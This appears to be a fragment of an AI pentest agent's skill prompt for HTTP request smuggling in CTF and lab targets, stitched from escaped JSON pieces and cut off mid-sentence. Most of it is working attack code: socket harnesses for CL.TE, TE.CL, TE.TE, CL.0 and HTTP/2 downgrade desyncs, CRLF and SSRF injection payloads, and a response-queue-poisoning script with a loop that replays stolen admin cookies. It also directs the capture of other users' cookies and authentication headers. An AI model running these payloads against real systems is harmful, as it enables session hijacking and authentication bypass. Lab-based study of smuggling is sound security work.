`FLAG{...}` (or unique privileged content) appearing\n   in the **reflected diagnostic output** or in the second response on\n   the same socket.\n5. If three bounded variants do not reach an internal route, write the\n   evidence and pivot back to Class A or B. Do not brute-force admin for\n   more than the budget in the exploit workflow (loaded into your system prompt).\n\n**Critical: identify the attack-surface layer BEFORE picking a primitive.**\n\nA diagnostic-reflection HRS has TWO connection paths and they require\nDIFFERENT primitives. Choosing the wrong one wastes the engagement:\n\n| Layer | Connection | Attack primitive | When it applies |\n|---|---|---|---|\n| **External TCP** | Client → frontend proxy (mitmproxy\u002FHAProxy) → external Apache | CL.TE \u002F TE.CL desync from the agent's own socket | The external proxy stack itself has a CL\u002FTE disagreement and the smuggled prefix lands at the external Apache vhost. **Will NOT reach an internal-only vhost.** |\n| **Server-side subprocess** | The diagnostic handler runs `curl` \u002F `file_get_contents` \u002F `requests.get(...)` from inside the application to a backend (`Host: internal.xyz`). | Manipulate the URL or headers of THAT outbound call: SSRF parameter injection, CRLF injection into the URL, http-reuse connection-pool poisoning on the backend port the subprocess hits. | The flag lives on a vhost the SERVER-SIDE curl can reach (because the app already targets it with the right Host header) but the EXTERNAL connection cannot (different vhost routing, IP allowlist, internal-only port). |\n\nDiagnose the layer by reading the reflected output: if the diagnostic\nmodal shows `* Trying 172.x.y.z:\u003Cport>` followed by `> GET \u002F\u003Cpath> HTTP\u002F1.1`\nand `> Host: \u003Cinternal_vhost>`, the **server-side subprocess** is doing\nthe work. An external socket smuggle that goes through the front-end\nproxy CANNOT reach that internal vhost — front-end routing sends the\nagent's socket to the public vhost, where the smuggled prefix lands\non the wrong server. Confirmation signal: the agent's smuggle returns\nthe front-end's 404\u002F405\u002Findex-page body, NOT the internal Flask \u002FApache\nresponse shape.\n\nWhen the layer is server-side subprocess, the primitive shifts from\n\"socket-level CL.TE\" to \"manipulate the subprocess request\":\n\n1. **Direct URL parameter** — does the diagnostic endpoint accept any\n   POST\u002FGET field that flows into the subprocess URL? Try path-traversal,\n   query-string injection, absolute-URL replacement on every field.\n2. **CRLF in URL** — if the subprocess passes user input through\n   `Host:` or path construction without sanitization, `%0d%0aHost:\n   internal.target%0d%0a` rewrites the outbound request line.\n3. **Connection-pool poisoning** — when the backend proxy has\n   `http-reuse always` (HAProxy) or HTTP\u002F1.1 keep-alive, send a prior\n   request that leaves a poisoned framing in the pool; the subsequent\n   subprocess curl reuses that connection and consumes your smuggled\n   prefix.\n4. **Backend-vhost direct hit** — if you can reach the backend port\n   directly (Docker port mapping, allowlisted IP), bypass the subprocess\n   entirely and call the internal vhost with the right `Host` header.\n\nThe sibling-resource enumeration below applies to BOTH layers, but\nmust be run against the layer the flag actually lives on. Confirm the\nlayer FIRST.\n\n**Diagnostic baseline (placeholder identifiers):**\n\n```bash\nTARGET=\"http:\u002F\u002F\u003Ctarget>\"\nLOW_USER=\"\u003Cdiscovered_default_user>\"; LOW_PASS=\"\u003Cdiscovered_default_pass>\"\nDIAG_ENDPOINT=\"\u003Cauthenticated_diagnostic_path>\"\n\ncurl -s -i -c cookies.txt -d \"username=$LOW_USER&password=$LOW_PASS\" \"$TARGET\u002F\u003Clogin_path>\" | tee login.txt\ncurl -s -i -b cookies.txt -X POST \"$TARGET$DIAG_ENDPOINT\" | tee diagnostic_baseline.html\ngrep -Ei \"Via:|X-Forwarded-|Server:|\u003Cinternal_vhost_hint>|FLAG\\\\{\" diagnostic_baseline.html | head -80\n```\n\n**Route-priority heuristic for diagnostic-reflection HRS:**\n\nWhen network enumeration or reflected diagnostics reveal a structured\ninternal namespace (status pages keyed by name, internal device\u002Fservice\nregistries, internal admin APIs distinct from the public admin UI), the\nflag is more often inside that internal namespace than behind the\npublic admin login. Treat the public admin page as a possible decoy and\nprioritize internal\u002Fback-end routes that the proxy is willing to fetch\non the user's behalf.\n\n**Sibling-resource enumeration in the observed URL pattern (MANDATORY):**\n\nWhen the reflected server-side request hits a URL like `\u002Fdevices\u002F\u003Cname>\u002Fstatus`,\n`\u002Fservices\u002F\u003Ckey>\u002Fstate`, `\u002Fprojects\u002F\u003Cid>\u002Fmanifest` — the **URL template** is the\nattack surface, not just the one resource the application already fetches. Two\ncommon failure modes for agents:\n\n1. Trying only the observed path verbatim (e.g. `\u002Fdevices\u002Fwifi_chipset\u002Fstatus`).\n2. Trying generic sibling NAMES at a different depth (e.g. `\u002Fdevices\u002Fflag` —\n   missing the trailing `\u002Fstatus` segment).\n\n**The rule**: substitute every entity name visible in the internal namespace\nlisting (or any synonym list like `flag`, `admin`, `secret`, `debug`, `internal`,\n`backup`, `root`, `system`, `private`, `prod`, `staging`) into the SAME\ntemplate — preserving every path segment, not just the variable one. The\ninternal app's router typically registers routes at the deeper path, not the\nprefix, so partial paths return 404 while the full template returns the\nsensitive resource.\n\n```bash\n# Observed server-side request URL template (from diagnostic reflection)\nURL_TEMPLATE='\u002Fdevices\u002F{NAME}\u002Fstatus'\n\n# Entity names: from the internal namespace listing + canonical sensitive synonyms\nNAMES=(wifi_chipset flag admin secret debug backup internal private system root prod)\n\n# Smuggle each variant — the response that differs from the others is the win\nfor name in \"${NAMES[@]}\"; do\n  path=\"${URL_TEMPLATE\u002F\u002F\\{NAME\\}\u002F$name}\"\n  # ... build the smuggle payload targeting Host: internal.\u003Cvhost> + $path\n  echo \"Smuggle target: $path\"\ndone\n```\n\n**Anti-pattern**: testing `\u002Fdevices\u002Fflag` and concluding the resource is absent\nwhen `\u002Fdevices\u002Fflag\u002Fstatus` would have returned the flag. The internal app's\nURL pattern is what the agent must preserve — recon's job is to extract the\ntemplate; exploit's job is to enumerate every name slot in it.\n\n**Output files:**\n\n```\n.\u002F\n├── diagnostic_baseline.html\n├── diagnostic_desync_\u003Cvariant>.txt\n└── diagnostic_summary.md\n```\n\n## PortSwigger Lab Pattern Reference\n\nPortSwigger's HRS labs follow a stable shape — recognize them so you don't reinvent the variant table:\n\n- **Lab: HTTP request smuggling, basic CL.TE \u002F TE.CL** — direct gate variants above.\n- **Lab: TE.TE obfuscating the TE header** — duplicate-header obfuscation (catalog row 1).\n- **Lab: HTTP\u002F2 request smuggling via CRLF injection** — `:path` \u002F arbitrary pseudo-header CR\u002FLF.\n- **Lab: HTTP\u002F2 request smuggling via h2.cl \u002F h2.te** — downgrade variants.\n- **Lab: client-side desync** — front-end honors body framing the browser sets up (`fetch` with `Content-Length`).\n- **Lab: server-side pause-based desync** — slow-write the smuggled body so the back-end times out partway.\n\nIf you can map the target to one of these lab shapes, copy the lab's payload structure into the harness above before iterating.\n\n## Verification\n\nA smuggle is only confirmed when the smuggled prefix produces VICTIM-OBSERVABLE side effects. Acceptable evidence:\n\n- **Stolen cookie\u002Fheader**: smuggled request to `\u002Fecho` reflects the NEXT user's `Cookie:` \u002F `Authorization:` header back into your response. Repro ≥3 times to rule out coincidence.\n- **Backend admin output reflected**: smuggled `GET \u002Fadmin` returns admin content in YOUR response (i.e. the prefix arrived BEFORE your trailing real request and the back-end concatenated the responses).\n- **Cross-user state contamination**: smuggled `POST \u002Fpassword-reset?user=victim` triggers a real password reset for `victim` (only on test\u002Flab targets — out of scope on real engagements).\n\nDifferential 400\u002F501 alone is **NOT** verification. Connection close after one request alone is **NOT** verification. You need a payload that proves the back-end accepted attacker bytes as the start of someone else's request.\n\n## Output Files\n\n```\n.\u002F\n├── smuggle_gate.txt                    # Confirm-desync gate output (PASS\u002FFAIL evidence)\n├── smuggle_\u003Ctarget>_\u003Cvariant>.txt      # Per-variant raw response captures\n├── smuggle_\u003Ctarget>_evidence.txt       # Cross-user \u002F admin-bleed proof\n└── smuggle_\u003Ctarget>_summary.md         # Variant tried, gate result, evidence trail\n```\n","# HTTP Request Smuggling (Desync)\n\nExploits parser disagreement between two HTTP intermediaries on the same connection (front-end CDN\u002Fproxy ↔ back-end origin). When one side ends a request at byte X and the other at byte Y, the bytes between X and Y are the \"smuggled\" prefix of the next victim request — letting the attacker rewrite the next user's request, steal cookies\u002Fheaders, or hit auth-bypassed routes.\n\n## When This Skill Is Primary\n\nHRS bypasses authentication and authorization at the front-end\u002Fback-end boundary — it does NOT need correct credentials. **When `smuggling_desync` (or `request_smuggling` \u002F `hrs` \u002F `desync`) co-occurs with credential-related tags (`default_credentials`, `jwt`, `weak_password`), smuggling IS the primary attack vector.** Credential brute-force is a fallback only after the confirm-desync gate (below) fires NEGATIVE.\n\nReasoning: a CTF that ships both tags is signaling \"you have a low-priv account (`test:test`, etc.) — use it as your session anchor and bypass the role check via parser disagreement.\" Burning the time budget on `admin:*` brute-force misses the design entirely. Use the low-priv credentials as the OUTER request session; smuggle the privileged INNER request.\n\nThe same logic applies when `smuggling_desync` co-occurs with `cve` (the CVE is likely the desync primitive; e.g., CVE-2022-24766 is mitmproxy h1 smuggling — see Variant Catalog → CL.0 \u002F pause-based desync below).\n\n## Recognition Signals\n\nTrigger this skill when ANY of the following are present:\n\n- **Multi-proxy stack visible**: two `Server:` strings across responses (e.g. `cloudflare` then `gunicorn`); `Via:` header present; CDN\u002Fedge fingerprint (Cloudflare CF-RAY, AWS CloudFront, Akamai, Fastly).\n- **Differential 400\u002F501** when sending duplicate\u002Fobfuscated `Transfer-Encoding` or `Content-Length` headers (one path 200, another 400\u002F501).\n- **HTTP\u002F2 frontend** with HTTP\u002F1.1 backend (`alt-svc: h2`, `:status` pseudo-header, `HTTP\u002F2` ALPN). Downgrades are the modern smuggling surface.\n- **Pipelining differences**: connection reused across requests with inconsistent framing.\n- **Challenge tag** includes `smuggling_desync`, `request_smuggling`, `hrs`, `desync`, or recon's \"Frontend behavior\" line says \"frontend forwards malformed framing\".\n- **Recon handoff** notes that the same payload yields different status codes when sent to different proxy hops or with different framing.\n\n## Confirm-Desync Gate\n\n**STOP**. Before iterating ANY payload, prove a real desync exists. Differential parsing alone (different status codes from different headers) is NOT a smuggle — it is a hint. The gate is a single in-file Python probe that opens one TCP connection and pipelines two requests where the second is detectable only if the first leaked bytes into the connection buffer.\n\n```bash\ntimeout 60 python3 -u -c '\nimport socket, sys\n\nHOST, PORT = \"\u003CTARGET>\", 443  # use 80 for plain HTTP\nUSE_TLS = (PORT == 443)\n\n# CL.TE smuggling probe — front-end uses Content-Length, back-end uses Transfer-Encoding.\n# A real desync makes the back-end park \"X\" as the start of the NEXT request on this socket.\nsmuggle = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Content-Length: 6\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"\\r\\n\"\n    \"0\\r\\n\"\n    \"\\r\\n\"\n    \"X\"  # the smuggled prefix\n)\nvictim = (\n    \"GET \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"\\r\\n\"\n)\n\ns = socket.create_connection((HOST, PORT), timeout=5)\nif USE_TLS:\n    import ssl\n    s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST)\ns.settimeout(5)\ns.sendall(smuggle.encode() + victim.encode())\n\nbuf = b\"\"\ntry:\n    while True:\n        chunk = s.recv(4096)\n        if not chunk:\n            break\n        buf += chunk\n        if len(buf) > 16384:\n            break\nexcept socket.timeout:\n    pass\nfinally:\n    s.close()\n\n# Desync signal: victim request fails with 400\u002F405 because \"XGET\" landed at backend.\n# Baseline GET \u002F on the same target returns 200 — so 400\u002F405 here is the smoke.\nsys.stdout.write(buf[:2048].decode(errors=\"replace\"))\nsys.stdout.flush()\n' 2>&1 | tee smuggle_gate.txt\n```\n\n**Pass criteria** (any one):\n- Second response shows `400 Bad Request` containing `XGET` \u002F `Invalid method` \u002F `bad request line`.\n- Connection closes after the first response with the second never sent (back-end ate the smuggled bytes).\n- Repeating the same probe on a fresh connection still 200s — i.e. the desync is connection-scoped.\n\nIf gate FAILS (no pass criteria met before the harness's outer `timeout` fires): do NOT iterate variants. Hand back to recon with \"no desync confirmed despite differential parsing — multi-proxy stack may not exist on this path\".\n\nIf gate PASSES: continue to the variant catalog with the same connection-pinning style.\n\n## Variant Catalog\n\nEach variant is a single in-file Python harness. Always:\n- `sock.settimeout(\u003Cbounded>)` BEFORE `connect` AND before each `recv`.\n- Outer wall: `timeout \u003Cbounded> python3 -u -c '...'` (the gate may need a longer wall than per-variant iteration).\n- `python3 -u` for line-buffered stdout (or `sys.stdout.flush()`).\n- Bounded `recv` loop (max ~16 KB or break on empty).\n- ONE socket per variant; close it in `finally`.\n\n### CL.TE (front=CL, back=TE)\n\nFront-end honors `Content-Length`, back-end honors `Transfer-Encoding: chunked`. Smuggle the prefix in the chunked body's terminating `0\\r\\n\\r\\n` overflow.\n\n```python\n# timeout 30 python3 -u -c '...'\nimport socket, ssl\nHOST, PORT, USE_TLS = \"\u003CTARGET>\", 443, True\nreq = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Content-Length: 13\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"\\r\\n\"\n    \"0\\r\\n\"\n    \"\\r\\n\"\n    \"GPOST \u002F HTTP\u002F1.1\\r\\n\"\n)\ns = socket.create_connection((HOST, PORT), timeout=5)\nif USE_TLS:\n    s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST)\ns.settimeout(5)\ns.sendall(req.encode())\nprint(s.recv(4096).decode(errors=\"replace\"))\ns.close()\n```\n\n### TE.CL (front=TE, back=CL)\n\nFront-end uses chunked, back-end uses `Content-Length`. The chunked size declaration smuggles past the back-end's CL boundary.\n\n```python\nbody_smuggled = \"GET \u002Fadmin HTTP\u002F1.1\\r\\nHost: \u003CTARGET>\\r\\n\\r\\n\"\nchunk_size = format(len(body_smuggled), \"x\")\nreq = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    f\"Content-Length: {len(chunk_size) + 2 + 2}\\r\\n\"  # only the chunk-size line + CRLF + 0\\r\\n\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"\\r\\n\"\n    f\"{chunk_size}\\r\\n\"\n    f\"{body_smuggled}\"\n    \"0\\r\\n\"\n    \"\\r\\n\"\n)\n```\n\n### TE.TE — Header Obfuscation Catalog\n\nBoth proxies process `Transfer-Encoding`, but only one is fooled by an obfuscated header. Send TWO `TE` headers; if one parser accepts one and rejects the other, you get desync.\n\n| Obfuscation | Example header line |\n|-------------|--------------------|\n| Duplicate header | `Transfer-Encoding: chunked\\r\\nTransfer-Encoding: chunked` |\n| Space prefix | ` Transfer-Encoding: chunked` (leading SP) |\n| Tab prefix | `\\tTransfer-Encoding: chunked` |\n| Mixed case | `Transfer-encoding: ChUnKeD` |\n| Trailing whitespace | `Transfer-Encoding : chunked` (SP before colon) |\n| Header folding (obsolete) | `Transfer-Encoding:\\r\\n chunked` (continuation line) |\n| Bogus value + valid | `Transfer-Encoding: cow\\r\\nTransfer-Encoding: chunked` |\n| Vertical tab | `Transfer-Encoding:\\x0bchunked` |\n\n```python\n# Example: duplicate-header TE.TE\nreq = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Content-Length: 4\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"Transfer-Encoding: cow\\r\\n\"   # second TE confuses one of the two parsers\n    \"\\r\\n\"\n    \"5c\\r\\nGPOST \u002F HTTP\u002F1.1\\r\\nHost: \u003CTARGET>\\r\\n\\r\\n\"\n    \"0\\r\\n\\r\\n\"\n)\n```\n\n### CL.0\n\nBack-end ignores `Content-Length` on certain methods\u002Fpaths (treats them as `CL: 0`). Front-end forwards the body, back-end parses it as the next request. Common against static-asset paths or `OPTIONS` handlers.\n\n```python\nreq = (\n    \"POST \u002Fstatic\u002Ffoo.css HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Content-Length: 38\\r\\n\"\n    \"\\r\\n\"\n    \"GET \u002Fadmin HTTP\u002F1.1\\r\\nHost: \u003CTARGET>\\r\\n\\r\\n\"\n)\n```\n\n### HTTP\u002F2 Downgrade (h2.cl, h2.te)\n\nFront-end speaks HTTP\u002F2, back-end speaks HTTP\u002F1.1. The h2→h1 downgrader translates pseudo-headers and may forward `:method`, `:path`, and arbitrary header bytes (including CR\u002FLF) into a back-end request line. Two flavors:\n\n- **h2.cl** — h2 request carries an explicit `content-length` longer\u002Fshorter than the data frame; downgrader forwards the declared CL, back-end mis-frames.\n- **h2.te** — h2 request carries `transfer-encoding: chunked`; some downgraders forward the header verbatim, the back-end then chunks while the front-end already CL-framed.\n\nUse a real h2 client (`hyper`, `h2`, `httpx[http2]`) — raw sockets are too painful here. Keep the same timeout discipline.\n\n```python\n# pip install httpx h2\nimport httpx\nclient = httpx.Client(http2=True, timeout=5.0, verify=True)\n\n# h2.te smuggle attempt\nr = client.post(\n    \"https:\u002F\u002F\u003CTARGET>\u002F\",\n    headers={\"transfer-encoding\": \"chunked\"},\n    content=b\"0\\r\\n\\r\\nSMUGGLED PREFIX\",\n)\nprint(r.status_code, r.headers.get(\"server\"), r.text[:300])\n```\n\n### CR\u002FLF Injection in HTTP\u002F2 Pseudo-Headers\n\nIf the downgrader does not strip CR\u002FLF inside `:path` or other pseudo-header values, you can inject a full second request:\n\n```python\nr = client.get(\n    \"https:\u002F\u002F\u003CTARGET>\u002F\",\n    headers={\":path\": \"\u002Fx\\r\\nHost: evil\\r\\n\\r\\nGET \u002Fadmin HTTP\u002F1.1\\r\\nHost: \u003CTARGET>\\r\\n\\r\\n\"},\n)\n```\n\nMost h2 client libraries refuse to send CR\u002FLF in pseudo-headers — you may need to monkeypatch the validator or drop to a low-level frame builder (`hyperframe`).\n\n### Pipelining\n\nWhen a connection is keep-alive and the front-end forwards multiple requests on it, classic CL\u002FTE confusion smuggles the SECOND request on the wire. The gate above is already a pipelining probe.\n\n### Connection-State Pinning\n\nSome intermediaries pin the (frontend → backend) socket per first-Host-header. Smuggling a `Host: internal` prefix can rewrite which back-end vhost subsequent victim requests reach. Test by smuggling `Host: admin.\u003Ctarget>` and checking whether subsequent baseline requests now route there.\n\n### Triple-tier (3+ proxy) desync matrix\n\nProduction stacks rarely have just front\u002Fback. Typical chains: `CDN → WAF → LB → origin`, `MITM\u002Fobservability proxy → reverse-proxy → app-server → app`, `cloud LB → ingress → service mesh → pod`. With N proxies in series there are N-1 hop boundaries, and **every hop boundary is a potential desync point** with its own parser-pair semantics. A payload that \"doesn't work\" on the outermost pair may smuggle perfectly across an inner pair.\n\n**Enumerate the chain first.** Tier identification is recon: response headers (`Via:`, `Server:`, `X-Forwarded-*`, `X-Cache:`, `X-Proxy-*`, repeated\u002Fduplicated values), behavioral fingerprints (which tier returns 4xx on which malformed input), timing (each hop adds latency), and source-disclosure paths in the engagement. Map the chain top-down before crafting payloads:\n\n| Step | Probe | What you learn |\n|------|-------|----------------|\n| 1 | `curl -sv \u003CTARGET>\u002F` 2>&1 \\| grep -iE '^(server\\|via\\|x-)' | First-line tier (front-most CDN\u002FWAF\u002FMITM banner) |\n| 2 | Send a known-bad path → which tier 4xx's | Each tier's error fingerprint (HTML template, 4xx code shape) |\n| 3 | Send oversized header → which tier truncates \u002F 431s | Buffer limits per tier (helps frame payload size) |\n| 4 | Send malformed TE \u002F duplicate-CL → which tier errors WITH WHICH BODY | Reveals the parser strictness of EACH tier independently |\n| 5 | Send `OPTIONS *` → who answers | Reveals the back-most tier that responds, vs intermediates that proxy |\n\nOnce you have N tiers, enumerate the N-1 desync targets:\n\n```\nT1 → T2 → T3 → T4 (origin)\n^^^^^^^^   = pair AB: CL.TE \u002F TE.CL \u002F TE.TE matrix\n     ^^^^^^^^   = pair BC: same matrix, different parsers\n          ^^^^^^^^   = pair CD: same matrix, often differs again\n```\n\n**Probing each hop-boundary** — the same per-variant Python harness works, but you target a specific pair by exploiting that pair's parser asymmetry. Practical guidance:\n\n1. **Start with the back-most pair you can prove was reached** (e.g. pair CD origin-adjacent). If you can smuggle to origin, you bypass every tier above without needing front-pair desync. Probe: smuggle a request whose response body is *visibly different from what the outer tiers would emit* (an internal vhost banner, an internal-only path served by origin). If the smuggled response surfaces, that pair desyncs.\n\n2. **If origin-adjacent pair is locked** (modern app servers like nginx + apache often refuse CL+TE outright), walk OUTWARD one pair at a time. Each pair retains its own parser quirks regardless of upstream\u002Fdownstream rigor — a strict origin can sit behind a tolerant MITM tier that desyncs the LB↔app boundary.\n\n3. **Probe-pair-isolation trick**: send the same payload over a fresh TCP connection vs an existing keep-alive connection. If the keep-alive run yields a different response on the *second* request, the desync poisoned the back-end socket — that confirms an inner pair desyncs (the outer pair faithfully forwarded). New TCP shows the OUTER pair's behavior; reused connection shows the INNER pair behavior.\n\n4. **`Via` header inversion**: if responses contain `Via: \u003Ctier-A>, \u003Ctier-B>` (typical of CDN+LB), smuggling that successfully bypasses tier-A will produce responses with `Via: \u003Ctier-B>` only (because tier-A never saw the smuggled inner request). Use the SHAPE of the `Via:` chain on a smuggled response vs a baseline response to confirm which pair was crossed.\n\n5. **Triple-tier `Host` smuggle** (the common-stack admin-vhost win): when the chain is `MITM → LB(host-routing) → origin(vhost)` and LB chooses backend by `Host:` header, smuggling a fresh `Host: internal-admin.\u003Ctarget>` line in the inner request makes the LB route to an internal vhost the outer client could never reach. The two desync pairs you can use:\n   - **Outer-pair desync** (MITM↔LB): inject the inner request past MITM so LB sees a new request with the attacker's `Host:`. Pair AB matrix from above.\n   - **Inner-pair desync** (LB↔origin): keep MITM and LB in sync but desync at LB↔origin so origin processes a smuggled request with a different `Host:` than LB used for routing. Less common; signature is \"LB-side ACL passed but origin served a different vhost's content.\"\n\n**Anti-pattern**: assuming the chain is 2-tier and iterating CL.TE \u002F TE.CL endlessly against the outer pair when the desync surface is actually 2 hops inward. If 8+ outer-pair variants produce no response divergence, the outer pair is rigid — STOP and shift focus inward via the probe ladder above.\n\n**Generality**: applies whenever you can identify ≥3 hops via `Via`\u002F`Server`\u002F`X-*` chain inspection. The matrix scales: a 4-tier stack has 3 desync targets, a 5-tier stack has 4. The cost per additional pair to probe is small (one round of the CL.TE\u002FTE.CL\u002FTE.TE matrix) — far cheaper than iterating one pair indefinitely.\n\n## Tooling Note\n\n`smuggler.py` (defparam\u002Fsmuggler) is **NOT installed** in the sandbox. Do not invoke it. Write the in-file Python harnesses above instead. `httpx[http2]` is available for h2 work.\n\n## Anti-Patterns (Do NOT)\n\n- **No `python3 detector.py > out.txt 2>&1` without `&` AND inner `socket.settimeout(\u003Cbounded>)`** — bash without timeout + missing socket timeout = guaranteed wedge.\n- **No bash `&` to background long detectors** — backgrounded jobs detach from the tool's stdout\u002Ftimeout, you cannot tell whether they wedged or finished.\n- **Use `timeout \u003Cbounded> python3 -u -c '...'`** for any raw-socket harness. Outer wall is mandatory even when inner socket timeouts are set.\n- **Do not iterate variants before the confirm-desync gate fires positive.** Iterating without confirmation burns the entire dispatch on payloads that cannot work.\n- **Kill detectors when no observable progress is being produced.** A live desync confirms in a small number of round-trips; if the gate did not fire after the configured budget, the path is not smuggleable.\n- **Do not use unbounded `recv()` loops** — break on empty bytes OR `>16 KB` accumulated, whichever is first.\n- **Do not write `python3 -c \"...\"` without `-u`** when you want streaming logs.\n\n## Class A vs Class B — Routing Decision Tree\n\nAfter confirm-desync gate fires positive, smuggling exploits split into two classes by the source of privileged bytes:\n\n| Class | Source of admin bytes | Detection probe (run FIRST) | Win pattern |\n|-------|----------------------|----------------------------|-------------|\n| **A** — Response queue poisoning (admin-bot) | Concurrent admin user\u002Fbot browsing the target | 5× smuggle `GET \u002Fadmin*` over 30s. If ANY response carries an admin-context `Set-Cookie:` or admin HTML body → **Class A** | Capture admin Set-Cookie, replay with `curl -b`. See \"Class A — Response Queue Poisoning\" below. |\n| **B** — No-bot (header trust \u002F cache poisoning \u002F inherited auth) | Outer request's own auth state, OR back-end's trust of front-end-injected headers, OR shared cache | After 5× probes return only public\u002Flogin content → **Class B**. Stop polling for an admin bot. | Manipulate the smuggled inner request's headers\u002Fpath so the back-end treats it as privileged. See \"Class B\" below. |\n\n**Class B is the more common pattern in CTF design** because it is deterministic — it does not require a concurrent admin browsing session. If `poll_admin.py` (or any `\u002Fadmin` poll loop) returns no admin Set-Cookie across a small batch of probes, **STOP polling and pivot to Class B**. Continuing to poll for an admin bot that never arrives is the canonical mis-allocation in this attack class.\n\n## Class A — Response Queue Poisoning (admin-bot)\n\n(Formerly \"Session Hijack via Response Queue Poisoning\" — same chapter, retitled to fit Class A\u002FB routing.)\n\n> **ANTI-PATTERN: DO NOT brute-force admin credentials when this tag is present.** When smuggling and a credentials-related tag co-occur, the design intent is \"use the smuggle as the auth bypass\", not \"guess the admin password\". An admin-context `Set-Cookie:` returned on a smuggled `\u002Fadmin*` request IS the win — it is easy to miss because it looks like nothing more than a 200 with a session cookie. Brute-force is a fallback ONLY after the confirm-desync gate has fired NEGATIVE. The PRIMARY path is: smuggle → capture `Set-Cookie:` → `curl -b \"\u003Ccookie>\" $TARGET\u002Fadmin_panel` → grep flag.\n\n**Trigger:** confirm-desync gate has fired positive (a real desync exists), AND your smuggled `GET \u002Fadmin_panel` (or any auth-required path) came back `200 OK` with a NEW `Set-Cookie: session=...`. **That cookie is admin-context.** The backend processed the smuggled request as a privileged user (or as no-user), the response was queued, and the next response on the connection landed YOUR cookies on a different request — but the response your client sees may include the admin Set-Cookie that the backend issued for the smuggled prefix.\n\nThis pattern is more common than reflected `\u002Fecho` cookie theft. It looks like nothing — just a 200 with a session cookie — which is exactly why agents miss it and pivot to brute-force instead.\n\n### Detection: every smuggle response with Set-Cookie is a candidate\n\n```bash\n# After confirm-desync gate fires positive, capture EVERY response header on smuggled requests:\ntimeout 30 python3 -u -c '\nimport socket, ssl, sys, re\nHOST, PORT = \"\u003CTARGET>\", 80\nsmuggle = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Content-Length: 70\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"\\r\\n\"\n    \"0\\r\\n\"\n    \"\\r\\n\"\n    \"GET \u002Fadmin_panel HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"X-Ignore: XX\"\n)\nvictim = \"GET \u002F HTTP\u002F1.1\\r\\nHost: \u003CTARGET>\\r\\n\\r\\n\"\ns = socket.create_connection((HOST, PORT), timeout=5); s.settimeout(5)\ns.sendall(smuggle.encode() + victim.encode())\nbuf = b\"\"\ntry:\n    while True:\n        c = s.recv(4096)\n        if not c or len(buf) > 32768: break\n        buf += c\nexcept socket.timeout: pass\nfinally: s.close()\nsys.stdout.write(buf.decode(errors=\"replace\"))\n' 2>&1 | tee smuggle_admin_setcookie.txt\n\n# Extract every Set-Cookie value:\ngrep -i \"^Set-Cookie:\" smuggle_admin_setcookie.txt\n```\n\n### Exploitation: replay each captured Set-Cookie against the protected endpoint\n\n```bash\n# For each Set-Cookie value extracted above, try it against the target:\nfor cookie in $(grep -i \"^Set-Cookie:\" smuggle_admin_setcookie.txt | sed 's\u002FSet-Cookie: \u002F\u002F;s\u002F;.*\u002F\u002F'); do\n    echo \"=== Trying $cookie ===\"\n    curl -s -b \"$cookie\" \"$TARGET\u002Fadmin_panel\" | grep -E \"FLAG\\{|admin|\u003Ctitle>\" | head -5\n    curl -s -b \"$cookie\" \"$TARGET\u002Fflag\" 2>\u002Fdev\u002Fnull\ndone\n```\n\n### Win condition\n\nA smuggled `Set-Cookie` that, when replayed via `curl -b`, gives you a different page than the unauthenticated baseline (e.g. admin dashboard instead of login redirect, or the flag itself) IS the exploit. **Repro the smuggle three times** to rule out coincidence (per the verification rule above) — if the same admin Set-Cookie comes back across multiple smuggle attempts, it is reliably exploitable.\n\n### Why this beats brute-force on `default_credentials + smuggling_desync` challenges\n\nWhen BOTH tags appear, the challenge is almost never \"brute-force the admin password\". Default-credentials is a hint that ONE low-priv account exists (`test:test` here) — it gives you a session to compare against the smuggled session. Smuggling is the actual privilege-escalation primitive. Burning the time budget on `admin:*` brute-force misses the design entirely. **Default rule: if `smuggling_desync` is present, the parser-disagreement attack IS the primary path; credentials brute-force is at most a 5-minute fallback after the smuggling gate has fired NEGATIVE.**\n\n## Class B — No-Bot Smuggling Patterns\n\nWhen there is no admin user browsing concurrently, the privileged bytes must come from one of three sources. Try each in order; each is a 5-minute time-box.\n\n### B1 — Outer-Request Cookie\u002FHeader Inheritance\n\nThe simplest attack when you already have a low-priv session (e.g. `test:test` from `default_credentials`). Send the smuggle on a connection that ALSO sends the outer request with your low-priv cookie. The back-end may concatenate connection state — your session cookie attaches to the smuggled inner request, and the back-end treats the inner `GET \u002Fadmin_panel` as if it came from your authenticated session. Effective when the role check is on a header the front-end injects (`X-User`, `X-Forwarded-User`) rather than the cookie value.\n\n```python\n# Outer request carries your low-priv session; smuggled inner inherits it\nsmuggle = (\n    \"POST \u002F HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Cookie: session=\u003CYOUR_TEST_SESSION>\\r\\n\"   # outer auth\n    \"Content-Length: 80\\r\\n\"\n    \"Transfer-Encoding: chunked\\r\\n\"\n    \"\\r\\n\"\n    \"0\\r\\n\\r\\n\"\n    \"GET \u002Fadmin_panel HTTP\u002F1.1\\r\\n\"\n    \"Host: \u003CTARGET>\\r\\n\"\n    \"Cookie: session=\u003CYOUR_TEST_SESSION>\\r\\n\"   # repeat inside the inner — may be picked up\n    \"X-Ignore: X\"\n)\n# Send + read 2 responses (outer 405\u002F200 + inner)\n```\n\n### B2 — Front-End Trust Header Injection (the most common Class B win)\n\nMany proxies (mitmproxy, nginx, Apache, HAProxy) strip 